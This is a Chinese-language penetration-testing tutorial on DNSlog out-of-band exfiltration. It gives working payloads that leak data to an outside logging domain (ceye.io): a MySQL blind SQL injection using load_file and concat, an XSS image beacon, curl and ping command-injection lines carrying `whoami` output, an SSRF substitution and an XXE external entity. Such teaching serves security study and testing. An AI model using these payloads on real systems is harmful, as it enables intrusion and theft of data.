0%

巧用DNSlog实现无回显注入

DNSlog回显原理

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
tp2020112001.png

DNS在解析的时候会留下日志,这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

利用场景

sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

推荐平台

以下利用,我这里使用ceye平台演示。
image.png
他会给你一个三级域名,你把信息写在第四级域名上就好了,比如我这里访问hzktester.xxxx.cece.io ,访问之后就会有查询记录。
tp2020112003.png
image.png

利用一:SQL注入

利用场景:

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban

这个时候我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOGload_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

利用前提

load_file()需要设置secure_file_priv的值,可以参考这篇文章,这里就不赘述了。链接

sql-labs靶场复现

mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句

payload

1
' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\aaa'))),1,0)--+

tp2020112005.png
查看平台,dnsLog被记录下来。
image.png
ps:稍微解释一下这个语句,这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)

对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

利用二:XSS盲打

利用场景

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:

<img src=http://xss.xxxx.ceye.io/aaa>:让src请求自己的dnslog平台
tp2020112007.png

利用三:命令执行无回显

利用场景

针对不回显的命令注入漏洞,我们很难确定漏洞的存在并进一步利用,针对这种情况,我们可以利用DNSLOG来获取命令的执行结果。

linux:

1
2
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.haha.xxx.ceye.io

tp2020112008.png
image.png

windows

1
ping %USERNAME%.xxx.ceye.io

tp2020112010.png
image.png
这里的%username%为用户变量

利用四:SSRF

这个没什么好说的,直接上payload,我们直接将ssrf中地址换成我们的dnslog平台
比如原本我们利用的是url=127.0.0.1:8080
利用dnslog就换成 url=xxx.cece.io
然后看我们的dnslog平台是否有服务器的IP来判断。

利用五:XXE

利用场景:

当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把文件改成这样:

payload:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxxx.ceye.io/xxe_test">
%remote;]>
<root/>